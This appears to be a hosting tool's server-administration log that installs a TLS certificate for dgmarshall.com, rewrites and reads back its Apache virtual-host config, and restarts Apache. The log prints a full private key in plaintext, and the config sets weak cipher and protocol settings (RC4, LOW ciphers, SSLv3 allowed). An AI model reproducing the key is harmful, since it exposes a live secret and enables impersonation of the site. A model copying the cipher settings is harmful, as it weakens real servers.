AL17M+Mlzrk62SO6bFYEPAfydVGvmWGAxY0E9H10jlc92Ie+7DUXPDkaxg9YTK3K
aooo+uY1kNixlXmOhE1fQPmBhIniel1+ngUrRGkdqHuJCHeZUW34nVlW9ufTbw+I
tB9+3x9lyKG6amDxMEbyWTzhDv/sz75bD3GnQg5pepEGSfQpidj+/HEN96cQMY0s
Mj2y/zd1kaKD0CA13Em0CHc5Bs4YN2Qg8RtXp84xOZUtKSLkmUCUJ3GBksMkaO0Q
sA+9grCQflpKdPzLDKmAhq3Il6c47pBp9jq2+TDlHHuIMu7/304n8D3UILrSYKHm
VHylMDJ5PtWN64nF3EMT1NMCAwEAAaOCAjIwggIuMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU4l7ppxAuxG8AJhXZSm55tZ97atAwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5kZ21hcnNoYWxsLmNvbYISd3d3
LmRnbWFyc2hhbGwuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTUuY3JsMIIBBAYKKwYBBAHW
eQIEAgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMA
AAGa2H96+AAABAMARzBFAiAY+zl5QNin2DpZn3VFljTkdxCv1M9F0TZCcDBT061D
uQIhAN5YE5RrgwWk1HI7LMaTe9iDDoMcdDRjmeGnftVSgRq8AHYAlpdkv1VYl633
Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGa2H97UQAABAMARzBFAiBbm6mLBBaQ
xVEAYLuQCad4TZNS9r6NXlzApYLBe/yrngIhAP5iWFQcr7ZLQ+33Bzcn3ZF+SXdw
uUDitJ7ZO+dDuOXlMA0GCSqGSIb3DQEBCwUAA4IBAQAO7/ow791Xtb+tXoHtvDnc
Y0FpZaN49mz4EjnoRV5tNajvvttQT7Iey39PVRGmckChg2NFDDb7WnPUK9YzpATm
DIX6ushfZyIlw6+kTzTJfM5EWtlbg9v3FRk9ik1Q0y4rdbjBsWlpDOM08HYVXsV6
mvnEAVzlwv6JBRDjjZxSPaW5VCUdHfF21oAX+M10aP8RVthsk23dLQLoM+E12y2P
t1pwQwFXLX0TVZXhQ3j3sM1PwZmOUB2VnxzCMewIVfOYcd3XSNtMI/usK95cQyCS
szF+TTx/O/7SrpsFuUldLP1Zotg5S1hCxrWms8lqChtSjax88eJzJJw+hnR7CY6O
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC9ezPjJc65Otkj
umxWBDwH8nVRr5lhgMWNBPR9dI5XPdiHvuw1Fzw5GsYPWEytymqKKPrmNZDYsZV5
joRNX0D5gYSJ4npdfp4FK0RpHah7iQh3mVFt+J1ZVvbn028PiLQfft8fZcihumpg
8TBG8lk84Q7/7M++Ww9xp0IOaXqRBkn0KYnY/vxxDfenEDGNLDI9sv83dZGig9Ag
NdxJtAh3OQbOGDdkIPEbV6fOMTmVLSki5JlAlCdxgZLDJGjtELAPvYKwkH5aSnT8
ywypgIatyJenOO6QafY6tvkw5Rx7iDLu/99OJ/A91CC60mCh5lR8pTAyeT7VjeuJ
xdxDE9TTAgMBAAECggEAFRsYGIEpmbBYZ4Zoctxd43S6ZLLuntG9L4wRv7ev8z/M
UrKNlQxVhPbagPMQ93rIi0MtT19AFyMQx018pzGpByHKJaG4h5mG+IRtRlgrYDdP
XiMR0vISdNUfA4uln1FW3vs+1zx7MKiXGN1Ex2JPVlyrUw6JxWZXPg2nafuNz4F2
ukkH4H4/Taqp57509aRmlM0UqwkSQ+E7cu6IJB4XFWPt5JBa+PPWa9p99UJ1KnBo
h8jxVbrfriGVsxS8vTtjmXWz44zm5jCAZwCFgEtgz82ET6uNO4tyyVU5ydsWMqoP
calYWWgrZqtm/k61Vu9K46L6wz401FKWVd0EOSi/oQKBgQDkaPXNcyLCiDABF5hK
d8yOi8IzrH55LHDMaYbfyGBPIEtiFzUrpEKX5Y9/53m+P+DZro3Ytake4+LAo77v
CB6M1+w6I6E6XbdxbcW2CdaZU/gvGv49sWCmhf+5QhMyKPhrPLgH60g/pFgr1TZE
NAmB0Uue3HdKICRal7YlZtoJnwKBgQDUXnaSHzpbcCmV963iK6EjuRs/H+ALhc12
T8sS2yoXM3k9vGtEp6ST2v4ZCnjVo2AgCPpFtY3Xj/Xv1l5UF3CisoL2lio8KcN1
MrAspzUuL6Z2ZK1DWVTWV27mMJPpj0qNElczcyCbvUvIynotWDz8phgdrBoUmjg8
oAYaPPsQTQKBgALoGwisSGr1VLcO189Kyv2dZbFGpq1gFWdkiGTcpe0b2hm7dd/C
TV6lezgDeBcltPTQNdnmJerQt5f//XQJRGpCbS0oOusFOkplPTjd0y9MVEI1M7sR
QMudtO1km93ti4vB0A25vsegjcaxBenER8KxKScyYwo8cnn8qEK9llS9AoGAOonj
YznqayQKwoToUGy4WVF/+jF+H479aLxr/MGe45BTvjm+08jmK790xVBGqJUFPS9c
VXTLKX1MTJUpoUJo0OAmC3SvJbBZaWfUeiqJFTcbSo1L2UG5ie/F6PvA+eN+qE5C
7TKx7VwLlMiDTxaAkR/zi9JRyhYMpGFz7S2cAw0CgYA9ld1sWZsOqKvnWbaVWOD1
zDuCx1tTNIeOIRq0rEFbABlQ5yAYy6GkwSQ/P9RwbZOoIOVGaZCI7wl36EEwlHdX
hEItm5olzc7Cxhkd9h8pj1SZAL2sGs/6dfzmWYt1d5gLogrnlVnwAj7+Nzq5jPhG
hjQvsZSeRsZOH7NYyjfbig==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-01 06:00:25:
chmod 755 /tmp/pkp349510; /tmp/pkp349510; rm /tmp/pkp349510
2025-12-01 06:00:25:
dir=/etc/ssl/certs
2025-12-01 06:00:25:
PUT: /tmp/pkp716130
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/dgmarshall_www_com.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-01 06:00:25:
chmod 755 /tmp/pkp716130; /tmp/pkp716130; rm /tmp/pkp716130
2025-12-01 06:00:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_com.conf 42
<VirtualHost *:80>
ServerName dgmarshall.com
ServerAlias www.dgmarshall.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgmarshall.com
ServerAlias www.dgmarshall.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-01 06:00:25:
PUT: /tmp/pkp694682
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=dgmarshall_www_com.conf
TARGET=/etc/apache2/sites-enabled/dgmarshall_www_com.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName dgmarshall.com
ServerAlias www.dgmarshall.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgmarshall.com
ServerAlias www.dgmarshall.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/dgmarshall_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/dgmarshall_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_com.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_com.conf= 1'
fi
2025-12-01 06:00:25:
chmod 755 /tmp/pkp694682; /tmp/pkp694682; rm /tmp/pkp694682
2025-12-01 06:00:26:
2025-12-01 06:00:26:
PUT: /tmp/pkp575945
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-01 06:00:26:
chmod 755 /tmp/pkp575945; /tmp/pkp575945; rm /tmp/pkp575945
2025-12-01 06:00:26:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-01 06:00:26: Establishing a connection
2025-12-01 06:00:26:
PUT: /tmp/pkp794666
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-01 06:00:26:
chmod 755 /tmp/pkp794666; /tmp/pkp794666; rm /tmp/pkp794666
2025-12-01 06:00:26:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-01 06:00:26:
PUT: /tmp/pkp741551
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/dgmarshall_www_com.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-01 06:00:26:
chmod 755 /tmp/pkp741551; /tmp/pkp741551; rm /tmp/pkp741551
2025-12-01 06:00:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_com.conf 1383
<VirtualHost *:80>
ServerName dgmarshall.com
ServerAlias www.dgmarshall.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgmarshall.com
ServerAlias www.dgmarshall.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-01 06:00:26:
PUT: /tmp/pkp950848
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-01 06:00:26:
chmod 755 /tmp/pkp950848; /tmp/pkp950848; rm /tmp/pkp950848
2025-12-01 06:00:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt 5372
0e:99:b4:3a:75:7e:72:5c:b1:9c:48:d7:a1:8c:1d:77
-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBucLWnPVdM870RVhKAkhCTk2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAxMDUwMTU0WhcNMjYwMzAxMDUwMTUzWjAZMRcwFQYDVQQD
Ew5kZ21hcnNoYWxsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AL17M+Mlzrk62SO6bFYEPAfydVGvmWGAxY0E9H10jlc92Ie+7DUXPDkaxg9YTK3K
aooo+uY1kNixlXmOhE1fQPmBhIniel1+ngUrRGkdqHuJCHeZUW34nVlW9ufTbw+I
tB9+3x9lyKG6amDxMEbyWTzhDv/sz75bD3GnQg5pepEGSfQpidj+/HEN96cQMY0s
Mj2y/zd1kaKD0CA13Em0CHc5Bs4YN2Qg8RtXp84xOZUtKSLkmUCUJ3GBksMkaO0Q
sA+9grCQflpKdPzLDKmAhq3Il6c47pBp9jq2+TDlHHuIMu7/304n8D3UILrSYKHm
VHylMDJ5PtWN64nF3EMT1NMCAwEAAaOCAjIwggIuMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU4l7ppxAuxG8AJhXZSm55tZ97atAwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5kZ21hcnNoYWxsLmNvbYISd3d3
LmRnbWFyc2hhbGwuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTUuY3JsMIIBBAYKKwYBBAHW
eQIEAgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMA
AAGa2H96+AAABAMARzBFAiAY+zl5QNin2DpZn3VFljTkdxCv1M9F0TZCcDBT061D
uQIhAN5YE5RrgwWk1HI7LMaTe9iDDoMcdDRjmeGnftVSgRq8AHYAlpdkv1VYl633
Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGa2H97UQAABAMARzBFAiBbm6mLBBaQ
xVEAYLuQCad4TZNS9r6NXlzApYLBe/yrngIhAP5iWFQcr7ZLQ+33Bzcn3ZF+SXdw
uUDitJ7ZO+dDuOXlMA0GCSqGSIb3DQEBCwUAA4IBAQAO7/ow791Xtb+tXoHtvDnc
Y0FpZaN49mz4EjnoRV5tNajvvttQT7Iey39PVRGmckChg2NFDDb7WnPUK9YzpATm
DIX6ushfZyIlw6+kTzTJfM5EWtlbg9v3FRk9ik1Q0y4rdbjBsWlpDOM08HYVXsV6
mvnEAVzlwv6JBRDjjZxSPaW5VCUdHfF21oAX+M10aP8RVthsk23dLQLoM+E12y2P
t1pwQwFXLX0TVZXhQ3j3sM1PwZmOUB2VnxzCMewIVfOYcd3XSNtMI/usK95cQyCS
szF+TTx/O/7SrpsFuUldLP1Zotg5S1hCxrWms8lqChtSjax88eJzJJw+hnR7CY6O
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC9ezPjJc65Otkj
umxWBDwH8nVRr5lhgMWNBPR9dI5XPdiHvuw1Fzw5GsYPWEytymqKKPrmNZDYsZV5
joRNX0D5gYSJ4npdfp4FK0RpHah7iQh3mVFt+J1ZVvbn028PiLQfft8fZcihumpg
8TBG8lk84Q7/7M++Ww9xp0IOaXqRBkn0KYnY/vxxDfenEDGNLDI9sv83dZGig9Ag
NdxJtAh3OQbOGDdkIPEbV6fOMTmVLSki5JlAlCdxgZLDJGjtELAPvYKwkH5aSnT8
ywypgIatyJenOO6QafY6tvkw5Rx7iDLu/99OJ/A91CC60mCh5lR8pTAyeT7VjeuJ
xdxDE9TTAgMBAAECggEAFRsYGIEpmbBYZ4Zoctxd43S6ZLLuntG9L4wRv7ev8z/M
UrKNlQxVhPbagPMQ93rIi0MtT19AFyMQx018pzGpByHKJaG4h5mG+IRtRlgrYDdP
XiMR0vISdNUfA4uln1FW3vs+1zx7MKiXGN1Ex2JPVlyrUw6JxWZXPg2nafuNz4F2
ukkH4H4/Taqp57509aRmlM0UqwkSQ+E7cu6IJB4XFWPt5JBa+PPWa9p99UJ1KnBo
h8jxVbrfriGVsxS8vTtjmXWz44zm5jCAZwCFgEtgz82ET6uNO4tyyVU5ydsWMqoP
calYWWgrZqtm/k61Vu9K46L6wz401FKWVd0EOSi/oQKBgQDkaPXNcyLCiDABF5hK
d8yOi8IzrH55LHDMaYbfyGBPIEtiFzUrpEKX5Y9/53m+P+DZro3Ytake4+LAo77v
CB6M1+w6I6E6XbdxbcW2CdaZU/gvGv49sWCmhf+5QhMyKPhrPLgH60g/pFgr1TZE
NAmB0Uue3HdKICRal7YlZtoJnwKBgQDUXnaSHzpbcCmV963iK6EjuRs/H+ALhc12
T8sS2yoXM3k9vGtEp6ST2v4ZCnjVo2AgCPpFtY3Xj/Xv1l5UF3CisoL2lio8KcN1
MrAspzUuL6Z2ZK1DWVTWV27mMJPpj0qNElczcyCbvUvIynotWDz8phgdrBoUmjg8
oAYaPPsQTQKBgALoGwisSGr1VLcO189Kyv2dZbFGpq1gFWdkiGTcpe0b2hm7dd/C
